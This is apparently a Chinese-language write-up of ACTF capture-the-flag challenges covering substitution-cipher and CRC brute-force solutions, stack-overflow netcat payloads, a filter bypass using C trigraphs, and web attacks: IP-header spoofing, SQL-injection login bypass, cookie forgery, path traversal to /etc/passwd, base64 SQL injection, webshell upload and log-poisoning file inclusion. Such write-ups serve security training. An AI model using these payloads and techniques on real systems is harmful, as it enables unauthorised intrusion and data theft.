写在前面:
周末参加了浙大和安恒举办的ACTF,以下是一部分题目的解题思路。
crypto 100
密文:
oivqmqgn, yja vibem naarn yi yxbo sqnyab yjqo q zixuea is gaqbn qdi. ykra jqn zira yi baseazy yjqy qeni ko yja ujbqzw rqdqhkoa. yjkn kn vjqy yja uquab saam kn qpixy: gix nxprky q uquab, va backav ky qom ky dayn uxpeknjam. oi oaam yi vqky q rioyj ib yvi xoyke gix naa gixb qbykzea ko yja oafy ujbqzw knnxa, vjao yja ykra jqn zira, va'ee mazkma yi zirukea q oav knnxa sbir yja qbykzean yjqy jqca paao nxprkyyam. yjqy'n pqnkzqeeg ky. qom dbqp gix seqd jaba, zbguyiiiniziieqrkbkdjy?
替换密码,先根据字频统计猜测,
如:a--->e
再推出简单词汇
如:kn--->is yja--->the
最后还原出原文
原文:
nowadays, the world seems to turn faster than a couple of years ago. time has come to reflect that also in the phrack magazine. this is what the paper feed is about: you submit a paper, we review it and it gets published. no need to wait a month or two until you see your article in the next phrack issue, when the time has come, we'll decide to compile a new issue from the articles that have been submitted. that's basically it. and grab you flag here, cryptooosocoolamiright?
如果你英文不好,或者没有耐心猜测的话,可以试试这个大神编写的脚本。
crypto 200
简单的可逆加密,先根据第一个明文和第一个密文推出key,再根据key还原出第二个密文即可得到key
还原Key:
c = ''
t = chr(0)
i = 0
j=0
rs=''
f = open('msg01', 'rb').read()
g = open('msg01.enc', 'rb').read()
sg=''
for x in g:
sg+=x
for p in f:
c = (ord(sg[i])-ord(p)-i**i) ^ ord(t)
c = c & 0xff
t = p
i += 1
rs += chr(c)
print rs
g.close()
还原密文:
key='DoNotTryToGuessWhatDoesD3AdCa7ThinkOf'
c = ''
t = chr(0)
i = 0
j=0
rs=""
f = open('msg02.enc', 'rb').read()
for p in f:
c = int(ord(p)-int(ord(key[i%len(key)])^ord(t))-i**i)
c = c % 256
#print str(ord(p))+ "==>" + str(ord(c))
rs=rs+chr(c)
#print rs
t = chr(c)
i+=1
print rs
crypto 400
通过crc暴力还原txt内容,因为每个txt只包含5个字符,所以效率还是可以忍受的。
import binascii
crc_num = set([0x2051B76C, 0x54BFFE11, 0xCA2AA4DE, 0x0F92F67F, 0x006AE2AA, 0x2BE19221, 0x6C15A277])
for i in range(32,128):
for j in range(32,128):
for k in range(32,128):
for l in range(32,128):
for m in range(32,128):
txt = chr(i)+chr(j)+chr(k)+chr(l)+chr(m)
if int(hex(binascii.crc32(txt)),16) in crc_num:
print txt
exploit 100
简单的栈溢出,只要把返回地址覆盖为game函数的地址即可。
python -c "print 'x5cx85x04x08'*100"|nc 211.149.187.109 2009
explot 200
其实这也不是溢出,只要读懂汇编代码,符合几个if判断,把程序引到输出key的地方即可
python -c "print 'killPig 111nfeedPig 222neatItn'"|nc 211.149.187.109 2010
misc 100
百度贴吧搜索ACTF{即可
misc 300
过滤了printf 和各种括号,可以使用三字母词进行绕过
??=define LEFT (
??=define RIGHT )
??=define P p??=??=rintf
main LEFT int argc, char **argv RIGHT {
P LEFT * LEFT argv + 1 RIGHT RIGHT;
}
misc 400
把图片放大可以看到左上角隐藏的二维码,在官网上找到原图,图片相减即可得到一部分二维码。
写脚本随机生成,残缺的部分。
import Image
import random
for n in range(1,100):
qt = Image.open("gogogo.png")
pix = qt.load()
for i in range(21,30):
for j in range(26,30):
if random.randint(0,100) < 50:
pix[i,j] = 0,0,0
for i in range(26,30):
for j in range(21,26):
if random.randint(0,100) < 50:
pix[i,j] = 0,0,0
qt.save("test"+str(n)+".png")
最后使用Zbar批量识别即可得到flag
web 100
hint 1:
hint 2:Can you GET the way to flag?
构造http://218.2.197.236:2005/index.php?way=H4ck_F0r_Fun!GoGoGo!提交之后得到hint 3
hint 3:flag can only access in local machine!
构造X-Forwarded-For: 127.0.0.1 即可得到flag
web 200
hint 1:FLAG在admin的手里!
构造 name:admin pass:' 1=1 -- 得到hint 2
hint 2:flag is in ae6032eeeb5cedc1555940983435335b.php(访问得知此为干扰信息)
抓包在http头中获取hint 3
hint 3:beda47ac34562108ee149767c61cb0ec.php
访问获得hint 4
hint 4:You find it! But only admin can see the flag...can you see it?
构造 Cookie:admin = 1 即可达到flag
web 300
hint 1:This doubi web blog layout is provided by ./bc
访问http://218.2.197.236:2001/bc/index.html得到一个新的页面,猜测存在漏洞的页面
guess 1:http://218.2.197.236:2001/download/doWnlOad.php?uuu=/media/baka.txt
猜测敏感目录/etc/passwd中得到hint 2
guess 2:http://218.2.197.236:2001/download/doWnlOad.php?uuu=/etc/passwd
hint 2:HINT:x:500:500::/usr/share/ngInx/html:/bin/bash
得到网站根目录,包含login.php得到源码,此文件存在命令执行漏洞,通过命令执行找到dbinfo文件,即可得到flag
web 400
hint 1:管理员是个很懒的人,他的笔记几乎没有任何废话。
通过web 300的漏洞上传一句话可翻到管理员的Note,得到hint 2,3,4,5
hint 2:aay给了我旁边机器的一个低权限用户。我实在不擅长linux啊,但是他的一个页面好像有漏洞,好像是hejUbiAn.php。
hint 3:我用这个漏洞给数据库里写了些数据,正好把我传上去的一句话木马地址藏进去,嘿嘿嘿。
hint 4:在那个数据库里记一下那个一句话木马的密码吧,免得忘了,不过直接存密码不太安全呀~那我只存那个妹子的qq,密码是这妹子名字的小写拼音,这样我这个日记泄露了也不会有人能登陆,嘿嘿嘿。
hint 5:旁边机器的管理员aay总是不给我root权限,也从不请我们吃饭,早看他不顺眼了。我给他服务器做了个alias关联来欺骗他的root密码,大概不用几天就能成功了吧。
来到hint 2给出的地址,经过猜测是base64注入
guess 1:password=JyBvciAxPTEgLS0g
通过base64注入一句话得到hint 3中的shell地址和hint 4中的妹子QQ,人肉可知她叫wangbiyun
得到shell之后翻一下得到flag
guess 2:/var/tmp/.pwds
web 500
hint 1:小陆在某内网换了个架构(原架构是nginx)又搭了一遍web300的站。
通过web 300的shell随便试一试找到目标IP
guess 1:172.17.1.3
通过curl访问之前的页面地址发现文件包含依旧存在
猜测敏感目录/etc/passwd中得到hint 2
guess 2:uuu=/etc/passwd
hint 2:boss:x:500:500::/var/www/boss:/bin/bash
通过猜测boss目录下的文件,得到hint 3
guess 2:uuu=/var/www/boss/index.php
hint 3:fuckti0n.php
读取fucktin.php内容,发现本地文件包含漏洞,通过log方式拿到shell,即可获得flag